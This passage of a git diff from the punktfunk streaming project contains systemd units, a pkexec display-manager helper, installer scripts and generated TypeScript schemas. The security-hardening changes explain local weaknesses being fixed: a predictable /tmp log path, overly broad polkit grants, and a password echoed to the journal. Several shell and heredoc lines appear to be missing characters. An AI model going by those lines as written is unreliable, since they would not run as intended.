+Description=Hourly reclaim of act_runner-leaked Docker disk + +[Timer] +OnCalendar=hourly +# Catch up after a reboot rather than waiting for the next slot. +Persistent=true +# Spread it off the hour so it does not collide with scheduled CI. +RandomizedDelaySec=300 + +[Install] +WantedBy=timers.target diff --git a/scripts/gen-third-party-notices.py b/scripts/gen-third-party-notices.py index 8836b7f9..4a44f695 100755 --- a/scripts/gen-third-party-notices.py +++ b/scripts/gen-third-party-notices.py @@ -196,7 +196,7 @@ def main(): w("THIRD-PARTY SOFTWARE NOTICES") w("=" * 76) w("") - w("punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0.") + w("Punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0.") w("The binaries it ships statically/dynamically link the third-party Rust crates listed") w("below. Each is distributed under its own permissive license; the full license texts") w("follow the manifest. This file is generated by scripts/gen-third-party-notices.py") diff --git a/scripts/headless/run-headless-kde.sh b/scripts/headless/run-headless-kde.sh index 07df33c5..0bf9879c 100755 --- a/scripts/headless/run-headless-kde.sh +++ b/scripts/headless/run-headless-kde.sh @@ -52,7 +52,19 @@ fi # it `kwin_wayland --virtual` brings up NO X server at all (no display reserved), and those apps die # with "Missing X Server or $DISPLAY". KWin starts Xwayland on demand but reserves + logs the X11 # display up front, which the detection below reads. -KWIN_LOG="${TMPDIR:-/tmp}/punktfunk-kwin.log" +# The log lives in the per-user 0700 XDG_RUNTIME_DIR, not at a fixed name in a world-writable +# /tmp. This file is not just a log: the DISPLAY detection below GREPS it for "Using public X11 +# display :N" and exports the result, so at a predictable path in a shared directory any local user +# could pre-create it (or symlink it) and steer the DISPLAY of a shipped systemd service +# (2026-08-05 review L-15). `pf-vdisplay` already resolves XDG_RUNTIME_DIR for its own paths; this +# matches. Without a runtime dir, fall back to a private mktemp rather than a guessable name. +if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" ]]; then + KWIN_LOG="${XDG_RUNTIME_DIR}/punktfunk-kwin.log" + : >"$KWIN_LOG" + chmod 600 "$KWIN_LOG" +else + KWIN_LOG="$(mktemp -t punktfunk-kwin.XXXXXXXX.log)" +fi kwin_wayland --virtual --xwayland --width "$W" --height "$H" --no-lockscreen \ --socket "$WAYLAND_DISPLAY" >"$KWIN_LOG" 2>&1 & KWIN_PID=$! diff --git a/scripts/io.unom.punktfunk.dm-helper.policy b/scripts/io.unom.punktfunk.dm-helper.policy index a63598c3..529ad907 100644 --- a/scripts/io.unom.punktfunk.dm-helper.policy +++ b/scripts/io.unom.punktfunk.dm-helper.policy @@ -11,7 +11,14 @@ grant is scoped to the box's own local-seat session lifecycle — the same class of operation these distros already authorize for their session switcher (e.g. Nobara's os-session-select, allow_any). allow_any because the host commonly runs sessionless (a - lingering user unit, no polkit agent), where interactive auth can never be answered. --> + lingering user unit, no polkit agent), where interactive auth can never be answered. + + ⚠ These defaults authorize every local subject — including a seatless ssh session or a + service account — so they are NOT the whole authorization story (2026-08-05 review L-14). + They cannot be tightened without breaking the lingering-user-unit deployment, which polkit + classifies under allow_any precisely because it has no session. The actual gate is in the + helper: pf-dm-helper refuses any caller whose PKEXEC_UID is not in the `punktfunk` group. + Keep the two in step — loosening the helper's check makes these defaults load-bearing. --> Stop or restore the display manager for a Punktfunk stream Authentication is required to switch the display manager for a Punktfunk stream diff --git a/scripts/pf-dm-helper b/scripts/pf-dm-helper index fa002095..f389e46c 100644 --- a/scripts/pf-dm-helper +++ b/scripts/pf-dm-helper @@ -13,6 +13,38 @@ # local-seat operation, not arbitrary unit management. set -eu +# The polkit action has to stay permissive (`allow_any=yes`): the host commonly runs as a LINGERING +# user unit, which has no logind session at all, so polkit classifies it under `allow_any` and any +# stricter default would make the takeover unauthorizable in its primary deployment. The cost of +# that is that polkit alone authorizes *every* local subject — a seatless ssh session, a service +# account — to run this as root (2026-08-05 review L-14). +# +# So the authorization decision is made HERE instead, where the caller is knowable: pkexec sets +# PKEXEC_UID from the authenticated caller, and only a member of the `punktfunk` group (created by +# the packages) may proceed. That keeps the sessionless host working while making membership of one +# explicit group — not merely "has a local uid" — the thing that grants these verbs. +require_authorized_caller() { + uid=${PKEXEC_UID:-} + [ -n "$uid" ] || { + echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to run unauthenticated" >&2 + exit 1 + } + user=$(getent passwd "$uid" | cut -d: -f1) || user= + [ -n "$user" ] || { + echo "pf-dm-helper: PKEXEC_UID $uid resolves to no local user — refusing" >&2 + exit 1 + } + # `id -nG` lists the primary group too, so a user whose primary group IS punktfunk also passes. + for g in $(id -nG "$user" 2>/dev/null); do + [ "$g" = punktfunk ] && return 0 + done + echo "pf-dm-helper: user '$user' is not in the 'punktfunk' group — refusing." >&2 + echo " Grant it with: sudo usermod -aG punktfunk $user (then re-login)" >&2 + exit 1 +} + +require_authorized_caller + dm_unit() { target=$(readlink /etc/systemd/system/display-manager.service) || { echo "pf-dm-helper: no display-manager.service alias — no display manager to manage" >&2 @@ -40,13 +72,9 @@ case "${1-}" in # what breaks that dependency (the setup docs already ask for it). # # The user is NEVER caller-named: PKEXEC_UID is set by pkexec from the authenticated caller, - # so this grant enables lingering for that caller alone. - uid=${PKEXEC_UID:-} - [ -n "$uid" ] || { - echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to guess a user" >&2 - exit 1 - } - exec loginctl enable-linger "$uid" + # so this grant enables lingering for that caller alone. (Its presence is already checked by + # `require_authorized_caller` above, which also proved the caller is in the punktfunk group.) + exec loginctl enable-linger "${PKEXEC_UID}" ;; *) echo "usage: pf-dm-helper stop|restore|linger" >&2 diff --git a/scripts/punktfunk-scripting.service b/scripts/punktfunk-scripting.service index c6bb2dfb..f6886035 100644 --- a/scripts/punktfunk-scripting.service +++ b/scripts/punktfunk-scripting.service @@ -6,9 +6,16 @@ # SIGTERM interrupts the whole tree STRUCTURALLY, so every plugin's scoped finalizers run before # exit (clean deregister / preset release) — hence the generous stop timeout below. # -# OPT-IN — unlike punktfunk-web, the package does NOT auto-enable this: the runner does nothing until -# you add scripts or install plugins. Turn it on once you have automation to run: -# systemctl --user enable --now punktfunk-scripting +# ON BY DEFAULT — the packages enable this for every user (`systemctl --global enable` from the +# .deb/.rpm scriptlets; a baked-in default.target.wants symlink in the sysext image). It used to be +# opt-in, on the reasoning that the runner does nothing until you add scripts or plugins. That +# stopped being true when the game-library scanners became plugins: the library is a flagship +# surface, and a host whose runner is off now comes up with an empty library and no obvious reason +# why (design/library-scanner-plugins.md D9). +# +# It remains opt-OUT, per user: +# systemctl --user mask punktfunk-scripting +# (`mask`, not `disable` — a plain disable cannot remove a symlink that lives in /etc or /usr.) # # Auto-wired like the console: a plugin's connect() reads the host's SCOPED plugin token + identity # cert from ~/.config/punktfunk/{plugin-token,cert.pem} (written by the host's `serve`) — no env diff --git a/scripts/steamdeck/install.sh b/scripts/steamdeck/install.sh index 0af0f61a..622d972c 100755 --- a/scripts/steamdeck/install.sh +++ b/scripts/steamdeck/install.sh @@ -185,6 +185,11 @@ ok "plugin runner: ~/.local/bin/punktfunk-scripting" # --- 3. config ------------------------------------------------------------- log "Configuration ($CONFIG)" mkdir -p "$CONFIG" +# Owner-only: this directory holds web.env (console password + session secret), the mgmt token and +# the host key. A plain `mkdir -p` leaves it 0755 at the Deck's default umask, so the secrets below +# sat in a world-TRAVERSABLE directory (2026-08-05 review L-19). Matches what the host itself does +# via `pf_paths::create_private_dir`, and is idempotent on an existing dir. +chmod 700 "$CONFIG" 2>/dev/null || true if [ ! -f "$CONFIG/host.env" ]; then cat > "$CONFIG/host.env" <<'EOF' # punktfunk Steam Deck host config (sourced by the punktfunk-host user service). @@ -235,10 +240,16 @@ if [ "$WITH_WEB" = 1 ] && [ ! -f "$CONFIG/web.env" ]; then # `|| true` swallows the SIGPIPE `tr` takes when `head` closes the pipe (pipefail would abort). WEB_PW="$(LC_ALL=C tr -dc 'a-z0-9' /dev/null | head -c 12 || true)" WEB_SECRET="$(LC_ALL=C tr -dc 'A-Za-z0-9' /dev/null | head -c 32 || true)" - cat > "$CONFIG/web.env" < "$CONFIG/web.env" < "$PWFILE") chmod 600 "$PWFILE" 2>/dev/null || true - echo "punktfunk web console login password generated: $PW" - echo "(stored in $PWFILE — open https://:47992 and log in)" + # Do NOT echo the password itself. Anything this script prints is captured by systemd into + # the PERSISTENT journal, which on Debian/Ubuntu is readable by the `adm` and + # `systemd-journal` groups — so printing it published a 0600 secret to every member of them, + # permanently, and the .deb postinst then documented `journalctl` as the way to read it + # (2026-08-05 review L-18). Point at the file instead: it is the same one command, it is + # correctly 0600, and it stays readable only by the user who owns the console. + echo "punktfunk web console login password generated." + echo "Read it with: cut -d= -f2- $PWFILE" + echo "(then open https://:47992 and log in)" fi diff --git a/sdk/src/gen/punktfunk.ts b/sdk/src/gen/punktfunk.ts index f2f65bbd..fd3c90c0 100644 --- a/sdk/src/gen/punktfunk.ts +++ b/sdk/src/gen/punktfunk.ts @@ -33,8 +33,8 @@ export type AvailableCompositor = { readonly "available": boolean, readonly "def export const AvailableCompositor = Schema.Struct({ "available": Schema.Boolean.annotate({ "description": "Usable on this host right now: the live session's own compositor, or gamescope wherever\nits binary is installed." }), "default": Schema.Boolean.annotate({ "description": "True for the backend an `Auto` (unspecified) request resolves to right now." }), "id": Schema.String.annotate({ "description": "Stable identifier (`\"kwin\"` | `\"wlroots\"` | `\"mutter\"` | `\"gamescope\"`) — pass this to a\nclient's `--compositor` flag." }), "label": Schema.String.annotate({ "description": "Human-readable label for UIs." }) }).annotate({ "description": "A compositor backend the host can drive a virtual output on, and whether it's usable now." }) export type CaptureMeta = { readonly "client": string, readonly "codec": string, readonly "duration_ms": number, readonly "encoder_backend"?: string, readonly "fps": number, readonly "gpu"?: string, readonly "height": number, readonly "id": string, readonly "kind": string, readonly "sample_count": number, readonly "started_unix_ms": number, readonly "width": number } export const CaptureMeta = Schema.Struct({ "client": Schema.String.annotate({ "description": "Short label / fingerprint prefix, or `\"\"` if unknown." }), "codec": Schema.String.annotate({ "description": "`\"h264\" | \"hevc\" | \"av1\"`." }), "duration_ms": Schema.Number.annotate({ "format": "int64" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "encoder_backend": Schema.optionalKey(Schema.String.annotate({ "description": "The encode backend that ACTUALLY opened for this session — `\"nvenc\"`, `\"vaapi\"`,\n`\"vulkan\"`, `\"amf\"`, `\"qsv\"`, `\"software\"`, … — and the GPU it runs on.\n\nRecorded because the stage split alone can't be read without them. A p50 `submit` of 10 ms\nmeans \"the GPU's CSC+encode throughput is the ceiling\" on one backend and something else\nentirely on another, and every fps-shortfall report so far has cost a round-trip asking\nwhich one it was. Both come from `pf_gpu::active()`, the record the encoder open itself\nwrites, so they name the branch that really opened rather than a re-derived guess.\n\n`\"\"` when nothing was streaming at registration (or on a build without the record)." })), "fps": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "gpu": Schema.optionalKey(Schema.String.annotate({ "description": "Human-readable GPU name (`\"NVIDIA GeForce RTX 4090\"`, `\"CPU (openh264)\"`), or `\"\"`." })), "height": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "id": Schema.String.annotate({ "description": "e.g. `\"2026-06-26T20-14-03Z_5120x1440\"` — also the filename stem." }), "kind": Schema.String.annotate({ "description": "`\"native\" | \"gamestream\"`." }), "sample_count": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "started_unix_ms": Schema.Number.annotate({ "format": "int64" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "width": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)) }).annotate({ "description": "Capture summary — the filename stem plus the negotiated mode/codec/client. Stored at the head\nof each on-disk recording and listed standalone (without the sample body) by\n[`StatsRecorder::list`]." }) -export type CatalogEntry = { readonly "author": string, readonly "blocked"?: string | null, readonly "compatible": boolean, readonly "description": string, readonly "homepage"?: string | null, readonly "icon"?: string | null, readonly "id": string, readonly "incompatible_reason"?: string | null, readonly "installed_version"?: string | null, readonly "license"?: string | null, readonly "min_host"?: string | null, readonly "pkg": string, readonly "platforms": ReadonlyArray, readonly "reviewed_at"?: string | null, readonly "source": string, readonly "tier": string, readonly "title": string, readonly "update_available": boolean, readonly "version": string } -export const CatalogEntry = Schema.Struct({ "author": Schema.String, "blocked": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "A revocation covering the catalogued version — do not offer this without shouting." })), "compatible": Schema.Boolean.annotate({ "description": "Can this host install it?" }), "description": Schema.String, "homepage": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "id": Schema.String, "incompatible_reason": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "installed_version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The version installed right now, if any." })), "license": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "min_host": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "pkg": Schema.String, "platforms": Schema.Array(Schema.String), "reviewed_at": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "When unom reviewed this exact tarball (built-in source only)." })), "source": Schema.String.annotate({ "description": "Which source listed it." }), "tier": Schema.String.annotate({ "description": "`verified` (built-in source) or `external` (an operator-added source). Never `unverified`:\nunverified installs come from a raw spec and are never listed (D7)." }), "title": Schema.String, "update_available": Schema.Boolean.annotate({ "description": "Installed, but at a different version than the catalog pins." }), "version": Schema.String.annotate({ "description": "The one installable version this entry pins." }) }).annotate({ "description": "One row on the shelf." }) +export type CatalogEntry = { readonly "author": string, readonly "blocked"?: string | null, readonly "categories": ReadonlyArray, readonly "compatible": boolean, readonly "description": string, readonly "detected"?: boolean | null, readonly "homepage"?: string | null, readonly "icon"?: string | null, readonly "id": string, readonly "incompatible_reason"?: string | null, readonly "installed_version"?: string | null, readonly "license"?: string | null, readonly "min_host"?: string | null, readonly "pkg": string, readonly "platforms": ReadonlyArray, readonly "reviewed_at"?: string | null, readonly "source": string, readonly "tier": string, readonly "title": string, readonly "update_available": boolean, readonly "version": string } +export const CatalogEntry = Schema.Struct({ "author": Schema.String, "blocked": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "A revocation covering the catalogued version — do not offer this without shouting." })), "categories": Schema.Array(Schema.String).annotate({ "description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)." }), "compatible": Schema.Boolean.annotate({ "description": "Can this host install it?" }), "description": Schema.String, "detected": Schema.optionalKey(Schema.Union([Schema.Boolean, Schema.Null]).annotate({ "description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"." })), "homepage": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "id": Schema.String, "incompatible_reason": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "installed_version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The version installed right now, if any." })), "license": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "min_host": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "pkg": Schema.String, "platforms": Schema.Array(Schema.String), "reviewed_at": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "When unom reviewed this exact tarball (built-in source only)." })), "source": Schema.String.annotate({ "description": "Which source listed it." }), "tier": Schema.String.annotate({ "description": "`verified` (built-in source) or `external` (an operator-added source). Never `unverified`:\nunverified installs come from a raw spec and are never listed (D7)." }), "title": Schema.String, "update_available": Schema.Boolean.annotate({ "description": "Installed, but at a different version than the catalog pins." }), "version": Schema.String.annotate({ "description": "The one installable version this entry pins." }) }).annotate({ "description": "One row on the shelf." }) export type DisconnectReason = "quit" | "timeout" | "error" export const DisconnectReason = Schema.Literals(["quit", "timeout", "error"]).annotate({ "description": "Why a client went away. `Quit` is a deliberate user \"stop\" (the typed close code);\n`Timeout` is a transport idle timeout (the client vanished); `Error` is everything else." }) export type EndGameRequest = { readonly "app_id"?: string | null } @@ -85,8 +85,8 @@ export type Plane = "native" | "gamestream" export const Plane = Schema.Literals(["native", "gamestream"]).annotate({ "description": "Which protocol plane an event originated from. Hooks and scripts filter on it — a hook\nthat fires for native clients but not Moonlight clients is a bug, not a v2 feature." }) export type PluginLogLine = { readonly "level": string, readonly "msg": string, readonly "source": string, readonly "ts_ms": number } export const PluginLogLine = Schema.Struct({ "level": Schema.String.annotate({ "description": "`ERROR` | `WARN` | `INFO` | `DEBUG` | `TRACE`. Anything else is coerced to `INFO`." }), "msg": Schema.String, "source": Schema.String.annotate({ "description": "Which unit emitted it — a plugin's `definePlugin` name, a package name, or `runner`.\nSurfaced in the console's target column as `plugin:`." }), "ts_ms": Schema.Number.annotate({ "description": "When the line was produced, unix milliseconds. Kept verbatim — see\n[`crate::log_capture::LogRing::push_remote`].", "format": "int64" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)) }).annotate({ "description": "One log line produced by the runner or a plugin inside it (`POST /plugins/logs`)." }) -export type PluginRegistration = { readonly "title": string, readonly "ui"?: null | { readonly "icon"?: string | null, readonly "port": number, readonly "secret": string }, readonly "version"?: string | null } -export const PluginRegistration = Schema.Struct({ "title": Schema.String.annotate({ "description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)." }), "ui": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional lucide icon name for the console nav entry (`^[a-z0-9-]{1,48}$`)." })), "port": Schema.Number.annotate({ "description": "The **loopback** port the plugin serves its UI on. The host and console only ever dial\n`127.0.0.1:`; a registration can never carry a hostname.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "secret": Schema.String.annotate({ "description": "Per-boot shared secret the console proxy must present (as `Authorization: Bearer`) on every\nrequest to the plugin's UI server. Rotated whenever the plugin restarts." }) }).annotate({ "description": "Present iff the plugin serves a UI surface. A registration with no `ui` is a liveness/phone-book\nentry only (e.g. a future runner-management listing) and grows no nav entry." })], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional plugin version, purely informational (≤32 chars)." })) }).annotate({ "description": "Register/renew body for `PUT /plugins/{id}`." }) +export type PluginRegistration = { readonly "category"?: string | null, readonly "title": string, readonly "ui"?: null | { readonly "icon"?: string | null, readonly "port": number, readonly "secret": string }, readonly "version"?: string | null } +export const PluginRegistration = Schema.Struct({ "category": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category." })), "title": Schema.String.annotate({ "description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)." }), "ui": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional lucide icon name for the console nav entry (`^[a-z0-9-]{1,48}$`)." })), "port": Schema.Number.annotate({ "description": "The **loopback** port the plugin serves its UI on. The host and console only ever dial\n`127.0.0.1:`; a registration can never carry a hostname.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "secret": Schema.String.annotate({ "description": "Per-boot shared secret the console proxy must present (as `Authorization: Bearer`) on every\nrequest to the plugin's UI server. Rotated whenever the plugin restarts." }) }).annotate({ "description": "Present iff the plugin serves a UI surface. A registration with no `ui` is a liveness/phone-book\nentry only (e.g. a future runner-management listing) and grows no nav entry." })], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Optional plugin version, purely informational (≤32 chars)." })) }).annotate({ "description": "Register/renew body for `PUT /plugins/{id}`." }) export type PluginUiPublic = { readonly "icon"?: string | null, readonly "port": number } export const PluginUiPublic = Schema.Struct({ "icon": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "port": Schema.Number.annotate({ "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)) }).annotate({ "description": "The secret-free view of a plugin's UI surface — what [`list_plugins`] returns to the browser." }) export type PortMap = { readonly "audio": number, readonly "control": number, readonly "http": number, readonly "https": number, readonly "mgmt": number, readonly "rtsp": number, readonly "video": number } @@ -107,8 +107,8 @@ export type RuntimeRequest = { readonly "enabled": boolean } export const RuntimeRequest = Schema.Struct({ "enabled": Schema.Boolean }) export type RuntimeView = { readonly "detail"?: string | null, readonly "enabled": boolean, readonly "installed": boolean, readonly "principal"?: string | null, readonly "running": boolean, readonly "unit": string } export const RuntimeView = Schema.Struct({ "detail": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "enabled": Schema.Boolean, "installed": Schema.Boolean.annotate({ "description": "Is the runner payload/unit present at all?" }), "principal": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Windows: the account the task runs as." })), "running": Schema.Boolean, "unit": Schema.String.annotate({ "description": "systemd unit or scheduled-task name." }) }) -export type ScannerInfo = { readonly "enabled": boolean, readonly "id": string, readonly "label": string } -export const ScannerInfo = Schema.Struct({ "enabled": Schema.Boolean.annotate({ "description": "Whether this host runs the scanner (default true)." }), "id": Schema.String.annotate({ "description": "Stable scanner id — the same string the scanner's entries carry in their `store` field." }), "label": Schema.String.annotate({ "description": "Human-facing name for the console toggle." }) }).annotate({ "description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host." }) +export type ScannerInfo = { readonly "enabled": boolean, readonly "entries"?: number, readonly "id": string, readonly "label": string, readonly "origin": "builtin" | "plugin", readonly "provider"?: string | null } +export const ScannerInfo = Schema.Struct({ "enabled": Schema.Boolean.annotate({ "description": "Whether this host runs the source (default true)." }), "entries": Schema.optionalKey(Schema.Union([Schema.Number.check(Schema.isInt()).check(Schema.makeFilterGroup([Schema.isFinite(), Schema.isGreaterThanOrEqualTo(0)], { "description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle." }))])), "id": Schema.String.annotate({ "description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin." }), "label": Schema.String.annotate({ "description": "Human-facing name for the console toggle." }), "origin": Schema.Literals(["builtin", "plugin"]).annotate({ "description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`." }), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The provider id backing a `plugin` source — absent for a built-in scanner." })) }).annotate({ "description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible." }) export type ScannerToggle = { readonly "enabled": boolean } export const ScannerToggle = Schema.Struct({ "enabled": Schema.Boolean.annotate({ "description": "Whether the scanner should run on this host." }) }).annotate({ "description": "Request body for `setLibraryScanner`." }) export type SessionRef = { readonly "client": string, readonly "hdr": boolean, readonly "id": number, readonly "mode": string } @@ -147,8 +147,8 @@ export type GpuState = { readonly "active"?: null | { readonly "backend": string export const GpuState = Schema.Struct({ "active": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "backend": Schema.String.annotate({ "description": "The encode backend in use (`nvenc` | `amf` | `qsv` | `vaapi` | `software`)." }), "id": Schema.String.annotate({ "description": "Stable id matching an entry of `gpus` (empty for the CPU/software encoder)." }), "name": Schema.String, "sessions": Schema.Number.annotate({ "description": "Number of live encode sessions on it.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "vendor": Schema.String.annotate({ "description": "`nvidia` | `amd` | `intel` | `other`." }) }).annotate({ "description": "The GPU live sessions use right now (absent while nothing is streaming)." })], { mode: "oneOf" })), "encoder_pin": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "`PUNKTFUNK_ENCODER` (the host.env encoder pin), when set to something other than `auto`\n(e.g. `qsv`, `nvenc`, `amf`, `software`). A pin whose vendor contradicts the selected\nGPU is overridden at session open — the adapter wins — so the console can warn that the\npin is stale rather than letting the selection look broken." })), "env_override": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "`PUNKTFUNK_RENDER_ADAPTER` (the host.env pin), when set — it applies while `mode` is\n`auto`; a manual preference overrides it." })), "gpus": Schema.Array(ApiGpu).annotate({ "description": "The host's hardware GPUs." }), "mode": Schema.String.annotate({ "description": "`auto` or `manual`." }), "preferred_available": Schema.Boolean.annotate({ "description": "Whether the preferred GPU is currently present." }), "preferred_id": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The manually preferred GPU's stable id, when one is stored (kept while `mode` is `auto` so\na console can offer returning to it). May reference a GPU that is currently absent." })), "preferred_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The stored name of the preferred GPU (a usable label even when it is absent)." })), "selected": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "id": Schema.String, "name": Schema.String, "source": Schema.String.annotate({ "description": "Why this GPU was selected: `preference` (the manual choice), `env`\n(`PUNKTFUNK_RENDER_ADAPTER`), `auto` (max dedicated VRAM / platform default), or\n`preference_missing` (a manual choice is set but that GPU is absent — auto-selected\ninstead so the host keeps streaming)." }), "vendor": Schema.String.annotate({ "description": "`nvidia` | `amd` | `intel` | `other`." }) }).annotate({ "description": "The GPU the next session will use." })], { mode: "oneOf" })) }).annotate({ "description": "Full GPU-selection state for the console: inventory, the persisted preference, what the next\nsession will use, and what is in use right now." }) export type MonitorsResponse = { readonly "compositor"?: string | null, readonly "error"?: string | null, readonly "monitors": ReadonlyArray, readonly "pin_supported": boolean, readonly "pinned"?: string | null } export const MonitorsResponse = Schema.Struct({ "compositor": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Compositor backend the enumeration came from (`kwin`, `mutter`, …), when one was resolved." })), "error": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Why the list is empty, when enumeration failed (compositor unreachable, unsupported\nplatform). `None` with an empty list means \"asked, and there are none\"." })), "monitors": Schema.Array(ApiMonitorInfo).annotate({ "description": "The heads, ordered left-to-right by desktop position." }), "pin_supported": Schema.Boolean.annotate({ "description": "Whether this build can actually STREAM one of these monitors.\n\nEnumeration and capture are separate capabilities, and on Windows only the first exists: the\nheads below are real and worth showing (they explain the topology, and `/display/state`\ncross-references them), but `pf-capture`'s sole Windows entry point is `open_idd_push` — a\nframe channel pushed by our OWN IddCx virtual display. There is no desktop-duplication\ncapturer to point at a chosen head (DXGI Desktop Duplication was deliberately removed), so\n`vdisplay::open` has no mirror arm outside Linux and a pin could not be honored.\n\nThe console renders the picker read-only on `false`. Reported as a capability rather than\nsniffed client-side from the OS so the answer comes from the build that would have to honor\nit — when a Windows mirror backend lands, this flips and the UI needs no change." }), "pinned": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The configured `PUNKTFUNK_CAPTURE_MONITOR`, if any — reported even when it matches nothing,\nso the console can show \"pinned to DP-2, which this host doesn't have\"." })) }).annotate({ "description": "The host's physical monitors + which one capture is pinned to." }) -export type GameEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art": Artwork, readonly "id": string, readonly "launch"?: null | { readonly "kind": string, readonly "value": string }, readonly "provider"?: string | null, readonly "store": string, readonly "title": string } -export const GameEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Artwork, "id": 